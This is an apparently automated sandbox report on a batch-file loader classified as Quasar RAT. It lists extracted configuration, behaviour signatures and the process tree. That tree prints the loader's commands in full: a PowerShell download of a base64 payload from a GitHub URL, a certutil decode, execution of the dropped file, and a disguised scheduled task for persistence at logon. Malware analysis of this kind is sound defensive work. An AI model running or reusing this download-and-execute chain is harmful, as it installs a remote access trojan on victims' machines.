Analysis
- user interaction
yes - max time kernel
67s - max time network
60s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
03/07/2026, 01:58
General
- Target Xerox Loader.bat
- Size 1KB
- Sample260703-cdwnssh13w
- SHA256 d9926f9ce537dac77ef0603b3e65528dd20ec9932d0776d41ee95455e5004721
Malware Config
Extracted
-
ps1
-
exe.dropper
https://raw.githubusercontent.com/jujusminecraftig-bot/asd/main/xxo.b64
Extracted
-
quasar
-
�
-
encryption_key
2CCA35A9746E4DCF1479747700C0450757A3737C
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 2 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Payload decoded via CertUtil.
- Delays execution with timeout.exe 6 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Xerox Loader.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/jujusminecraftig-bot/asd/main/xxo.b64', 'C:\Users\Admin\AppData\Local\Temp\temp_exe_26926\payload.b64')"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\certutil.execertutil -decode "C:\Users\Admin\AppData\Local\Temp\temp_exe_26926\payload.b64" "C:\Users\Admin\AppData\Local\Temp\temp_exe_26926\temp.exe"2⤵
- Deobfuscate/Decode Files or Information
-
-
C:\Users\Admin\AppData\Local\Temp\temp_exe_26926\temp.exe"C:\Users\Admin\AppData\Local\Temp\temp_exe_26926\temp.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Wallpaper Alive Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Wallpaper Alive\Wallpaper Alive.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\Wallpaper Alive\Wallpaper Alive.exe"C:\Users\Admin\AppData\Roaming\Wallpaper Alive\Wallpaper Alive.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Wallpaper Alive Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Wallpaper Alive\Wallpaper Alive.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\timeout.exetimeout /t 30 /nobreak2⤵
- Delays execution with timeout.exe
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
payload.b64
temp.exe
memory/3032-0-0x00007FFA77F9F000-0x00007FFA77FA0000-memory.dmp
memory/3032-3-0x0000026127570000-0x0000026127592000-memory.dmp
memory/3032-4-0x00007FFA77E10000-0x00007FFA787B4000-memory.dmp
memory/3032-5-0x00007FFA77E10000-0x00007FFA787B4000-memory.dmp
memory/3032-6-0x00007FFA77E10000-0x00007FFA787B4000-memory.dmp
memory/3032-7-0x00007FFA77E10000-0x00007FFA787B4000-memory.dmp
memory/3032-8-0x00007FFA77E10000-0x00007FFA787B4000-memory.dmp
memory/3032-9-0x00007FFA77E10000-0x00007FFA787B4000-memory.dmp
memory/3032-12-0x00007FFA77E10000-0x00007FFA787B4000-memory.dmp
memory/3032-13-0x00007FFA77E10000-0x00007FFA787B4000-memory.dmp
memory/3644-26-0x000001A357C00000-0x000001A357C08000-memory.dmp
memory/3644-56-0x000001A358E00000-0x000001A358E32000-memory.dmp
memory/3644-22-0x000001A357BB0000-0x000001A357BC2000-memory.dmp
memory/3644-23-0x000001A357C10000-0x000001A357C4C000-memory.dmp
memory/3644-24-0x000001A357BE0000-0x000001A357BEA000-memory.dmp
memory/3644-25-0x000001A357C70000-0x000001A357C96000-memory.dmp
memory/3644-49-0x000001A358C00000-0x000001A358C2A000-memory.dmp
memory/3644-27-0x000001A357CA0000-0x000001A357D02000-memory.dmp
memory/3644-28-0x000001A357D10000-0x000001A357D52000-memory.dmp
memory/3644-29-0x000001A357BF0000-0x000001A357BFA000-memory.dmp
memory/3644-30-0x000001A357C50000-0x000001A357C5A000-memory.dmp
memory/3644-31-0x000001A358BE0000-0x000001A358BFA000-memory.dmp
memory/3644-51-0x000001A358D90000-0x000001A358DCA000-memory.dmp
memory/3644-46-0x000001A358C70000-0x000001A358CBA000-memory.dmp
memory/3644-58-0x000001A358E30000-0x000001A358E44000-memory.dmp
memory/3644-57-0x000001A358C30000-0x000001A358C40000-memory.dmp
memory/3644-55-0x000001A358DD0000-0x000001A358E04000-memory.dmp
memory/3644-54-0x000001A358BD0000-0x000001A358BE6000-memory.dmp
memory/3644-53-0x000001A358BC0000-0x000001A358BCC000-memory.dmp
memory/3644-52-0x000001A357D50000-0x000001A357D5A000-memory.dmp
memory/3644-50-0x000001A357D00000-0x000001A357D14000-memory.dmp
memory/3644-48-0x000001A358D10000-0x000001A358D90000-memory.dmp
memory/3644-47-0x000001A358CC0000-0x000001A358D0C000-memory.dmp
memory/4996-20-0x0000029649310000-0x0000029649344000-memory.dmp
memory/4996-19-0x0000029648DA0000-0x0000029648E94000-memory.dmp